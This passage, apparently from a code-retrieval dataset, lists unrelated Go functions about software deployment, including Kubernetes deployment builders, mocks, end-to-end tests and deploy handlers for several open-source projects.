%d args:\\n\", binary, len(srp.Args))\n\n\tfor _, s := range rArgs {\n\t\tfmt.Printf(\"Arg: \\\"%s\\\"\\n\", s)\n\t}\n\tpath := \"./\"\n\tfullb := fmt.Sprintf(\"%s/%s\", path, binary)\n\terr = os.Chmod(fullb, 0500)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to chmod %s: %s\\n\", fullb, err)\n\t\tos.Exit(10)\n\t}\n\n\tfmt.Printf(\"Starting user application..\\n\")\n\tcmd := exec.Command(fullb, rArgs...)\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\terr = cmd.Start()\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to start(): %s\\n\", err)\n\t\tos.Exit(10)\n\t}\n\t_, err = cl.Started(ctx, &pb.StartedRequest{Msgid: *msgid})\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to inform daemon about pending startup. aborting. (%s)\\n\", err)\n\t\tos.Exit(10)\n\t}\n\terr = cmd.Wait()\n\tif err == nil {\n\t\tfmt.Printf(\"Command completed with no error\\n\")\n\t} else {\n\t\tfmt.Printf(\"Command completed: %s\\n\", err)\n\t}\n\tfailed := err != nil\n\tcl.Terminated(ctx, &pb.TerminationRequest{Msgid: *msgid, Failed: failed})\n\tos.Exit(0)\n}", "func (m *MockRemoteSnapshot) Deployments() v1sets.DeploymentSet {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Deployments\")\n\tret0, _ := ret[0].(v1sets.DeploymentSet)\n\treturn ret0\n}", "func (eng *Engine) runDeploy(baseCtx context.Context) (err error) {\n\tctx, cancel := context.WithCancel(baseCtx)\n\tdefer cancel()\n\n\tdeployCh := eng.fanIn(func(shipper Shipper) chan error {\n\t\treturn shipper.ShipIt(ctx)\n\t})\n\n\tfor err = range deployCh {\n\t\tfmt.Fprintf(os.Stderr, \"ERROR: %v\\n\", err)\n\t}\n\n\treturn\n}", "func (suite *HealthCheckTestSuite) TestModuleExecute() {\n\t// Initialize the appconfigMock with HealthFrequencyMinutes as every five minute\n\tappconfigMock := &appconfig.SsmagentConfig{\n\t\tSsm: appconfig.SsmCfg{\n\t\t\tHealthFrequencyMinutes: appconfig.DefaultSsmHealthFrequencyMinutes,\n\t\t},\n\t}\n\n\tmockEC2Identity := &identityMock.IAgentIdentityInner{}\n\tnewEC2Identity = func(log log.T) identity.IAgentIdentityInner {\n\t\treturn mockEC2Identity\n\t}\n\tavailabilityZone := \"us-east-1a\"\n\tavailabilityZoneId := \"use1-az2\"\n\tmockEC2Identity.On(\"IsIdentityEnvironment\").Return(true)\n\tmockEC2Identity.On(\"AvailabilityZone\").Return(availabilityZone, nil)\n\tmockEC2Identity.On(\"AvailabilityZoneId\").Return(availabilityZoneId, nil)\n\n\tmockECSIdentity := &identityMock.IAgentIdentityInner{}\n\tnewECSIdentity = func(log log.T) identity.IAgentIdentityInner {\n\t\treturn mockECSIdentity\n\t}\n\tmockECSIdentity.On(\"IsIdentityEnvironment\").Return(false)\n\n\tmockOnPremIdentity := &identityMock.IAgentIdentityInner{}\n\tnewOnPremIdentity = func(log log.T, config *appconfig.SsmagentConfig) identity.IAgentIdentityInner {\n\t\treturn mockOnPremIdentity\n\t}\n\tmockOnPremIdentity.On(\"IsIdentityEnvironment\").Return(false)\n\n\tssmConnectionChannel := \"ssmmessages\"\n\tvar ableToOpenMGSConnection uint32\n\tatomic.StoreUint32(&ableToOpenMGSConnection, 1)\n\tssmconnectionchannel.SetConnectionChannel(&ableToOpenMGSConnection)\n\n\t// Turn on the mock method\n\tsuite.contextMock.On(\"AppConfig\").Return(*appconfigMock)\n\tsuite.serviceMock.On(\"UpdateInstanceInformation\", mock.Anything, version.Version, \"Active\", AgentName, availabilityZone, availabilityZoneId, ssmConnectionChannel).Return(nil, nil)\n\tsuite.healthCheck.ModuleExecute()\n\t// Because ModuleExecute will launch two new go routine, wait 100ms to make sure the updateHealth() has launched\n\ttime.Sleep(100 * time.Millisecond)\n\t// Assert the UpdateInstanceInformation get called in updateHealth() function, and the agent status is same as input.\n\tsuite.serviceMock.AssertCalled(suite.T(), \"UpdateInstanceInformation\", mock.Anything, version.Version, \"Active\", AgentName, availabilityZone, availabilityZoneId, ssmConnectionChannel)\n}", "func apicuritoDeployment(c *configuration.Config, a *api.Apicurito) (dep client.Object) {\n\t// Define a new deployment\n\tvar dm int32 = 420\n\tname := DefineUIName(a)\n\tdeployLabels := map[string]string{\n\t\t\"app\": \"apicurito\",\n\t\t\"component\": name,\n\t\t\"com.company\": \"Red_Hat\",\n\t\t\"rht.prod_name\": \"Red_Hat_Integration\",\n\t\t\"rht.prod_ver\": version.ShortVersion(),\n\t\t\"rht.comp\": \"Fuse\",\n\t\t\"rht.comp_ver\": version.ShortVersion(),\n\t\t\"rht.subcomp\": name,\n\t\t\"rht.subcomp_t\": \"infrastructure\",\n\t}\n\tdep = &appsv1.Deployment{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tAPIVersion: \"apps/v1\",\n\t\t\tKind: \"Deployment\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: a.Namespace,\n\t\t\tOwnerReferences: []metav1.OwnerReference{\n\t\t\t\t*metav1.NewControllerRef(a, schema.GroupVersionKind{\n\t\t\t\t\tGroup: api.SchemeGroupVersion.Group,\n\t\t\t\t\tVersion: api.SchemeGroupVersion.Version,\n\t\t\t\t\tKind: a.Kind,\n\t\t\t\t}),\n\t\t\t},\n\t\t},\n\t\tSpec: appsv1.DeploymentSpec{\n\t\t\tReplicas: &a.Spec.Size,\n\t\t\tSelector: &metav1.LabelSelector{\n\t\t\t\tMatchLabels: labelComponent(name),\n\t\t\t},\n\t\t\tStrategy: appsv1.DeploymentStrategy{\n\t\t\t\tType: appsv1.RollingUpdateDeploymentStrategyType,\n\t\t\t},\n\t\t\tTemplate: corev1.PodTemplateSpec{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tLabels: deployLabels,\n\t\t\t\t},\n\t\t\t\tSpec: corev1.PodSpec{\n\t\t\t\t\tContainers: []corev1.Container{{\n\t\t\t\t\t\tImage: c.UiImage,\n\t\t\t\t\t\tImagePullPolicy: corev1.PullIfNotPresent,\n\t\t\t\t\t\tName: name,\n\t\t\t\t\t\tPorts: []corev1.ContainerPort{{\n\t\t\t\t\t\t\tContainerPort: 8080,\n\t\t\t\t\t\t\tName: \"api-port\",\n\t\t\t\t\t\t\tProtocol: corev1.ProtocolTCP,\n\t\t\t\t\t\t}},\n\t\t\t\t\t\tLivenessProbe: &corev1.Probe{\n\t\t\t\t\t\t\tHandler: corev1.Handler{\n\t\t\t\t\t\t\t\tHTTPGet: &corev1.HTTPGetAction{\n\t\t\t\t\t\t\t\t\tScheme: corev1.URISchemeHTTP,\n\t\t\t\t\t\t\t\t\tPort: intstr.FromString(\"api-port\"),\n\t\t\t\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\t\t\t}},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tReadinessProbe: &corev1.Probe{\n\t\t\t\t\t\t\tHandler: corev1.Handler{\n\t\t\t\t\t\t\t\tHTTPGet: &corev1.HTTPGetAction{\n\t\t\t\t\t\t\t\t\tScheme: corev1.URISchemeHTTP,\n\t\t\t\t\t\t\t\t\tPort: intstr.FromString(\"api-port\"),\n\t\t\t\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\t\t\t}},\n\t\t\t\t\t\t\tPeriodSeconds: 5,\n\t\t\t\t\t\t\tFailureThreshold: 2,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tVolumeMounts: []corev1.VolumeMount{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tName: name,\n\t\t\t\t\t\t\t\tMountPath: \"/html/config\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t\tVolumes: []corev1.Volume{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: name,\n\t\t\t\t\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\t\t\t\t\tConfigMap: &corev1.ConfigMapVolumeSource{\n\t\t\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\t\t\tName: name,\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\tDefaultMode: &dm,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\treturn\n}", "func (this *Deployment) deploy() error {\n\tif len(this.Application.Processes) == 0 {\n\t\treturn fmt.Errorf(\"No processes scaled up, adjust with `ps:scale procType=#` before deploying\")\n\t}\n\n\ttitleLogger := NewFormatter(this.Logger, GREEN)\n\tdimLogger := NewFormatter(this.Logger, DIM)\n\n\te := Executor{dimLogger}\n\n\tthis.autoDetectRevision()\n\n\terr := writeDeployScripts()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tremoveDynos, allocatingNewDynos, err := this.calculateDynosToDestroy()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif allocatingNewDynos {\n\t\tavailableNodes, err := this.syncNodes()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Now we've successfully sync'd and we have a list of nodes available to deploy to.\n\t\taddDynos, err := this.startDynos(availableNodes, titleLogger)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Fprintf(titleLogger, \"Arbitrary sleeping for 30s to allow dynos to warm up before syncing load balancers\\n\")\n\t\ttime.Sleep(30 * time.Second)\n\n\t\terr = this.Server.SyncLoadBalancers(&e, addDynos, removeDynos)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !this.ScalingOnly {\n\t\t// Update releases.\n\t\treleases, err := getReleases(this.Application.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Prepend the release (releases are in descending order)\n\t\treleases = append([]Release{{\n\t\t\tVersion: this.Version,\n\t\t\tRevision: this.Revision,\n\t\t\tDate: time.Now(),\n\t\t\tConfig: this.Application.Environment,\n\t\t}}, releases...)\n\t\t// Only keep around the latest 15 (older ones are still in S3)\n\t\tif len(releases) > 15 {\n\t\t\treleases = releases[:15]\n\t\t}\n\t\terr = setReleases(this.Application.Name, releases)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// Trigger old dynos to shutdown.\n\t\tfor _, removeDyno := range removeDynos {\n\t\t\tfmt.Fprintf(titleLogger, \"Shutting down dyno: %v\\n\", removeDyno.Container)\n\t\t\tgo func(rd Dyno) {\n\t\t\t\trd.Shutdown(&Executor{os.Stdout})\n\t\t\t}(removeDyno)\n\t\t}\n\t}\n\n\treturn nil\n}", "func TestDashboardHandler_Deployments(t *testing.T) {\n\tfor _, test := range tests {\n\t\tt.Logf(\"Running test: %s\", test.Name)\n\t\tsubTest(t, test)\n\t}\n}", "func Deploy(ctx context.Context, k8sRepo config.KubernetesConfigsRepo, texts []string, message, caller string) (messages []string, err error) {\n\tif !DeployWorker.isRunning {\n\t\treturn nil, errors.New(\"deploy worker is not running\")\n\t}\n\n\tif len(texts) < 1 {\n\t\treturn nil, errors.New(\"call help\")\n\t}\n\n\t// Compare and retrieve the repo before we engage the deployment, so we can pass the repo to deploy worker for clearer intention\n\tcodebases := k8sRepo.Configs\n\trepoNameInCMD, texts := pop(texts, 0)\n\tvar codebase *config.Codebase\n\tfor _, c := range codebases {\n\t\tif repoNameInCMD == c.Repo {\n\t\t\tcodebase = &c\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif codebase == nil {\n\t\treturn nil, errors.New(\"invalid repo name\")\n\t}\n\n\t// deploy requires env only and it only supports image-tag only\n\n\ttexts, stage, err := popValue(texts, \"env\", \"=\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"getting env for deployment encountered an error\")\n\t} else if stage == \"prod\" {\n\t\treturn nil, errors.New(\"deploy command doesn't support prod env\")\n\t}\n\n\ttexts, image, err := popValue(texts, \"image-tag\", \"=\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"getting image-tag for deployment encountered an error\")\n\t}\n\n\tif len(texts) != 0 {\n\t\treturn nil, errors.New(\"Major Tom does not support: \" + strings.Join(texts, \", \"))\n\t}\n\n\ttimeout := 5 * time.Minute\n\tch := make(chan response)\n\tnewCtx := context.WithValue(ctx, mjcontext.ResponseChannel, ch)\n\tnewCtx, cancelFn := context.WithTimeout(newCtx, timeout)\n\tdefer cancelFn()\n\tdeployChannel <- Deployment{\n\t\tctx: newCtx,\n\t\tcodebase: codebase,\n\t\tstage: stage,\n\t\timageTag: image,\n\t\tcaller: caller,\n\t\tmessage: message,\n\t}\n\n\tselect {\n\tcase commandResponse := <-ch:\n\t\treturn commandResponse.Messages, commandResponse.Error\n\tcase <-newCtx.Done():\n\t\treturn nil, errors.Errorf(\"\\\"%s\\\" command has timeouted(%f)\", strings.Join(texts, \" \"), timeout.Minutes())\n\t}\n}", "func (b *VagrantBotanist) DeployInfrastructure() error {\n\n\t// TODO: use b.Operation.ComputeDownloaderCloudConfig(\"vagrant\")\n\t// At this stage we don't have the shoot api server\n\tchart, err := b.Operation.ChartSeedRenderer.Render(filepath.Join(common.ChartPath, \"shoot-cloud-config\", \"charts\", \"downloader\"), \"shoot-cloud-config-downloader\", metav1.NamespaceSystem, map[string]interface{}{\n\t\t\"kubeconfig\": string(b.Operation.Secrets[\"cloud-config-downloader\"].Data[\"kubeconfig\"]),\n\t\t\"secretName\": b.Operation.Shoot.ComputeCloudConfigSecretName(\"vagrant\"),\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar cloudConfig = \"\"\n\tfor fileName, chartFile := range chart.Files {\n\t\tif fileName == \"downloader/templates/cloud-config.yaml\" {\n\t\t\tcloudConfig = chartFile\n\t\t}\n\t}\n\n\tclient, conn, err := vagrant.New(fmt.Sprintf(b.Shoot.Info.Spec.Cloud.Vagrant.Endpoint))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\t_, err = client.Start(context.Background(), &pb.StartRequest{\n\t\tCloudconfig: cloudConfig,\n\t\tId: 1,\n\t})\n\n\treturn err\n}", "func TestDeployRouterInvalidConfig(t *testing.T) {\n\t// Read existing router that MUST have already exists from previous create router e2e test\n\t// Router name is assumed to follow this format: e2e-experiment-{{.TestID}}\n\trouterName := \"e2e-experiment-\" + globalTestContext.TestID\n\tt.Log(fmt.Sprintf(\"Retrieving router with name '%s' created from previous test step\", routerName))\n\texistingRouter, err := getRouterByName(\n\t\tglobalTestContext.httpClient, globalTestContext.APIBasePath, globalTestContext.ProjectID, routerName)\n\trequire.NoError(t, err)\n\n\t// Deploy router version\n\turl := fmt.Sprintf(\n\t\t\"%s/projects/%d/routers/%d/versions/2/deploy\",\n\t\tglobalTestContext.APIBasePath,\n\t\tglobalTestContext.ProjectID, existingRouter.ID,\n\t)\n\tt.Log(\"Deploying router: POST \" + url)\n\treq, err := http.NewRequestWithContext(context.Background(), http.MethodPost, url, nil)\n\trequire.NoError(t, err)\n\tresponse, err := globalTestContext.httpClient.Do(req)\n\trequire.NoError(t, err)\n\tdefer response.Body.Close()\n\tassert.Equal(t, http.StatusAccepted, response.StatusCode)\n\n\t// Wait for the version status to to change to success/failed deployment\n\tt.Log(\"Waiting for router to deploy\")\n\terr = waitDeployVersion(\n\t\tglobalTestContext.httpClient,\n\t\tglobalTestContext.APIBasePath,\n\t\tglobalTestContext.ProjectID,\n\t\tint(existingRouter.ID),\n\t\t2,\n\t)\n\trequire.NoError(t, err)\n\n\t// Test router version configuration\n\tt.Log(\"Testing GET router version\")\n\trouterVersion, err := getRouterVersion(\n\t\tglobalTestContext.httpClient,\n\t\tglobalTestContext.APIBasePath,\n\t\tglobalTestContext.ProjectID,\n\t\tint(existingRouter.ID),\n\t\t2,\n\t)\n\trequire.NoError(t, err)\n\tassert.Equal(t, models.RouterVersionStatusFailed, routerVersion.Status)\n\n\t// Test router configuration\n\tt.Log(\"Testing GET router\")\n\trouter, err := getRouter(\n\t\tglobalTestContext.httpClient,\n\t\tglobalTestContext.APIBasePath,\n\t\tglobalTestContext.ProjectID,\n\t\tint(existingRouter.ID),\n\t)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, router.CurrRouterVersion)\n\t// the expected version 1 is the valid version that the deployment fallback to due to invalid config\n\tassert.Equal(t, uint(1), router.CurrRouterVersion.Version)\n\tassert.Equal(t, models.RouterVersionStatusUndeployed, router.CurrRouterVersion.Status)\n\tassert.Equal(t, models.RouterStatusUndeployed, router.Status)\n}", "func (g *smartContractGW) PostDeploy(msg *messages.TransactionReceipt) error {\n\n\trequestID := msg.Headers.ReqID\n\n\t// We use the ethereum address of the contract, without the 0x prefix, and\n\t// all in lower case, as the name of the file and the path root of the Swagger operations\n\tif msg.ContractAddress == nil {\n\t\treturn ethconnecterrors.Errorf(ethconnecterrors.RESTGatewayPostDeployMissingAddress, requestID)\n\t}\n\taddrHexNo0x := strings.ToLower(msg.ContractAddress.Hex()[2:])\n\n\t// Generate and store the swagger\n\tbasePath := \"/contracts/\"\n\tisRemote := isRemote(msg.Headers.CommonHeaders)\n\tif isRemote {\n\t\tbasePath = \"/instances/\"\n\t}\n\tregisteredName := msg.RegisterAs\n\tif registeredName == \"\" {\n\t\tregisteredName = addrHexNo0x\n\t}\n\n\tif msg.Headers.MsgType == messages.MsgTypeTransactionSuccess {\n\t\tmsg.ContractSwagger = g.conf.BaseURL + basePath + registeredName + \"?openapi\"\n\t\tmsg.ContractUI = g.conf.BaseURL + basePath + registeredName + \"?ui\"\n\n\t\tvar err error\n\t\tif isRemote {\n\t\t\tif msg.RegisterAs != \"\" {\n\t\t\t\terr = g.rr.registerInstance(msg.RegisterAs, \"0x\"+addrHexNo0x)\n\t\t\t}\n\t\t} else {\n\t\t\t_, err = g.storeNewContractInfo(addrHexNo0x, requestID, registeredName, msg.RegisterAs)\n\t\t}\n\t\treturn err\n\t}\n\treturn nil\n}", "func Deploy(d *appsv1.Deployment, forceCreate bool, client *kubernetes.Clientset) error {\n\tif forceCreate {\n\t\tif err := create(d, client); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif err := update(d, client); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func MakeDeployHandler(client *containerd.Client, cni gocni.CNI, secretMountPath string, alwaysPull bool) func(w http.ResponseWriter, r *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\tif r.Body == nil {\n\t\t\thttp.Error(w, \"expected a body\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tdefer r.Body.Close()\n\n\t\tbody, _ := ioutil.ReadAll(r.Body)\n\t\tlog.Printf(\"[Deploy] request: %s\\n\", string(body))\n\n\t\treq := types.FunctionDeployment{}\n\t\terr := json.Unmarshal(body, &req)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"[Deploy] - error parsing input: %s\\n\", err)\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\n\t\t\treturn\n\t\t}\n\n\t\tnamespace := getRequestNamespace(req.Namespace)\n\n\t\t// Check if namespace exists, and it has the openfaas label\n\t\tvalid, err := validNamespace(client.NamespaceService(), namespace)\n\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tif !valid {\n\t\t\thttp.Error(w, \"namespace not valid\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tnamespaceSecretMountPath := getNamespaceSecretMountPath(secretMountPath, namespace)\n\t\terr = validateSecrets(namespaceSecretMountPath, req.Secrets)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tname := req.Service\n\t\tctx := namespaces.WithNamespace(context.Background(), namespace)\n\n\t\tdeployErr := deploy(ctx, req, client, cni, namespaceSecretMountPath, alwaysPull)\n\t\tif deployErr != nil {\n\t\t\tlog.Printf(\"[Deploy] error deploying %s, error: %s\\n\", name, deployErr)\n\t\t\thttp.Error(w, deployErr.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t}\n}", "func (m *MockprojectDeployer) DeployProject(in *deploy.CreateProjectInput) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DeployProject\", in)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (a *apiLoadBalancers) Deploy() error {\n\treturn a.containers.Deploy()\n}", "func testDeployment(replicas int32, podLabels map[string]string, nodeSelector map[string]string, namespace string, pvclaims []*v1.PersistentVolumeClaim, securityLevel admissionapi.Level, command string) *appsv1.Deployment {\n\tif len(command) == 0 {\n\t\tcommand = \"trap exit TERM; while true; do sleep 1; done\"\n\t}\n\tzero := int64(0)\n\tdeploymentName := \"deployment-\" + string(uuid.NewUUID())\n\tdeploymentSpec := &appsv1.Deployment{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: deploymentName,\n\t\t\tNamespace: namespace,\n\t\t},\n\t\tSpec: appsv1.DeploymentSpec{\n\t\t\tReplicas: &replicas,\n\t\t\tSelector: &metav1.LabelSelector{\n\t\t\t\tMatchLabels: podLabels,\n\t\t\t},\n\t\t\tTemplate: v1.PodTemplateSpec{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tLabels: podLabels,\n\t\t\t\t},\n\t\t\t\tSpec: v1.PodSpec{\n\t\t\t\t\tTerminationGracePeriodSeconds: &zero,\n\t\t\t\t\tContainers: []v1.Container{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName: \"write-pod\",\n\t\t\t\t\t\t\tImage: e2epod.GetDefaultTestImage(),\n\t\t\t\t\t\t\tCommand: e2epod.GenerateScriptCmd(command),\n\t\t\t\t\t\t\tSecurityContext: e2epod.GenerateContainerSecurityContext(securityLevel),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tRestartPolicy: v1.RestartPolicyAlways,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tvar volumeMounts = make([]v1.VolumeMount, len(pvclaims))\n\tvar volumes = make([]v1.Volume, len(pvclaims))\n\tfor index, pvclaim := range pvclaims {\n\t\tvolumename := fmt.Sprintf(\"volume%v\", index+1)\n\t\tvolumeMounts[index] = v1.VolumeMount{Name: volumename, MountPath: \"/mnt/\" + volumename}\n\t\tvolumes[index] = v1.Volume{Name: volumename, VolumeSource: v1.VolumeSource{PersistentVolumeClaim: &v1.PersistentVolumeClaimVolumeSource{ClaimName: pvclaim.Name, ReadOnly: false}}}\n\t}\n\tdeploymentSpec.Spec.Template.Spec.Containers[0].VolumeMounts = volumeMounts\n\tdeploymentSpec.Spec.Template.Spec.Volumes = volumes\n\tif nodeSelector != nil {\n\t\tdeploymentSpec.Spec.Template.Spec.NodeSelector = nodeSelector\n\t}\n\treturn deploymentSpec\n}", "func DeployResources(testRunner base.ClusterTestRunner) error {\n\t// Deploys a static set of resources\n\tlog.Printf(\"Deploying resources\")\n\n\tpub, _ := testRunner.GetPublicContext(1)\n\tprv, _ := testRunner.GetPrivateContext(1)\n\n\t// Deploys the same set of resources against both clusters\n\t// resources will have index (1 or 2), depending on the\n\t// cluster they are being deployed to\n\tfor i, cluster := range []*client.VanClient{pub.VanClient, prv.VanClient} {\n\t\tclusterIdx := i + 1\n\n\t\t// Annotations (optional) to deployment and services\n\t\tdepAnnotations := map[string]string{}\n\t\tstatefulSetAnnotations := map[string]string{}\n\t\tdaemonSetAnnotations := map[string]string{}\n\t\tsvcNoTargetAnnotations := map[string]string{}\n\t\tsvcTargetAnnotations := map[string]string{}\n\t\tpopulateAnnotations(clusterIdx, depAnnotations, svcNoTargetAnnotations, svcTargetAnnotations,\n\t\t\tstatefulSetAnnotations, daemonSetAnnotations)\n\n\t\t// Create a service without annotations to be taken by Skupper as a deployment will be annotated with this service address\n\t\tif _, err := createService(cluster, fmt.Sprintf(\"nginx-%d-dep-not-owned\", clusterIdx), map[string]string{}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// One single deployment will be created (for the nginx http server)\n\t\tif _, err := createDeployment(cluster, depAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := createStatefulSet(cluster, statefulSetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := createDaemonSet(cluster, daemonSetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Now create two services. One that does not have a target address,\n\t\t// and another that provides a target address.\n\t\tif _, err := createService(cluster, fmt.Sprintf(\"nginx-%d-svc-exp-notarget\", clusterIdx), svcNoTargetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// This service with the target should not be exposed (only the target service will be)\n\t\tif _, err := createService(cluster, fmt.Sprintf(\"nginx-%d-svc-target\", clusterIdx), svcTargetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Wait for pods to be running\n\tfor _, cluster := range []*client.VanClient{pub.VanClient, prv.VanClient} {\n\t\tlog.Printf(\"waiting on pods to be running on %s\", cluster.Namespace)\n\t\t// Get all pod names\n\t\tpodList, err := cluster.KubeClient.CoreV1().Pods(cluster.Namespace).List(context.TODO(), metav1.ListOptions{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(podList.Items) == 0 {\n\t\t\treturn fmt.Errorf(\"no pods running\")\n\t\t}\n\n\t\tfor _, pod := range podList.Items {\n\t\t\t_, err := kube.WaitForPodStatus(cluster.Namespace, cluster.KubeClient, pod.Name, corev1.PodRunning, timeout, interval)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (m *Mockdeployer) DeployProject(in *deploy.CreateProjectInput) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DeployProject\", in)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (p *MockDeployPlugin) Create(cluster *lang.Cluster, deployName string, params util.NestedParameterMap, eventLog *event.Log) error {\n\ttime.Sleep(p.SleepTime)\n\treturn nil\n}", "func (d *Deployer) Deploy(obj *unstructured.Unstructured) error {\n\tfound := &unstructured.Unstructured{}\n\tfound.SetGroupVersionKind(obj.GroupVersionKind())\n\terr := d.client.Get(context.TODO(), types.NamespacedName{Name: obj.GetName(), Namespace: obj.GetNamespace()}, found)\n\tif err != nil {\n\t\tif errors.IsNotFound(err) {\n\t\t\tlog.Info(\"Create\", \"Kind:\", obj.GroupVersionKind(), \"Name:\", obj.GetName())\n\t\t\treturn d.client.Create(context.TODO(), obj)\n\t\t}\n\t\treturn err\n\t}\n\n\t// if resource has annotation skip-creation-if-exist: true, don't update it to keep customized changes from users\n\tmetadata, ok := obj.Object[\"metadata\"].(map[string]interface{})\n\tif ok {\n\t\tannotations, ok := metadata[\"annotations\"].(map[string]interface{})\n\t\tif ok && annotations != nil && annotations[config.AnnotationSkipCreation] != nil {\n\t\t\tif strings.ToLower(annotations[config.AnnotationSkipCreation].(string)) == \"true\" {\n\t\t\t\tlog.Info(\"Skip creation\", \"Kind:\", obj.GroupVersionKind(), \"Name:\", obj.GetName())\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\tdeployerFn, ok := d.deployerFns[found.GetKind()]\n\tif ok {\n\t\treturn deployerFn(obj, found)\n\t}\n\treturn nil\n}", "func (m *DeploymentsClientMock) Get(ctx context.Context, resourceGroupName string, deploymentName string) (result resources.DeploymentExtended, err error) {\n\tm.mutex.Lock()\n\tdefer m.mutex.Unlock()\n\n\tdeploy, ok := m.FakeStore[deploymentName]\n\tif !ok {\n\t\treturn result, fmt.Errorf(\"deployment not found\")\n\t}\n\n\treturn deploy, nil\n}", "func TestNewDeployment(t *testing.T) {\n\ttype args struct {\n\t\tworkersTemplate *jettypes.NodeTemplate\n\t\tcontrollerTemplate *jettypes.NodeTemplate\n\t\tingressTemplate *jettypes.NodeTemplate\n\t\tname string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twant *Deployment\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"nil constructor\",\n\t\t\targs: args{nil, nil, nil, \"test\"},\n\t\t\twant: nil,\n\t\t\twantErr: true,\n\t\t},\n\n\t\t//{\n\t\t//\tname:\"nil constructor\",\n\t\t//\targs: args{\n\t\t//\t\tappConfig.GetWorkersTemplate(),\n\t\t//\t\tappConfig.GetControllersTemplate(),\n\t\t//\t\tappConfig.GetIngresTemplate()},\n\t\t//\twant:nil,\n\t\t//\twantErr:false,\n\t\t//},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := NewDeployment(tt.args.workersTemplate, tt.args.controllerTemplate, tt.args.ingressTemplate, tt.args.name)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"NewDeployment() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"NewDeployment() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}", "func (suite *ServiceTestSuite) TestHostsService_ReserveHosts() {\n\tdefer suite.mockCtrl.Finish()\n\tctx := context.Background()\n\n\terr := suite.hostService.ReserveHost(ctx, nil, nil)\n\trequire.Error(suite.T(), 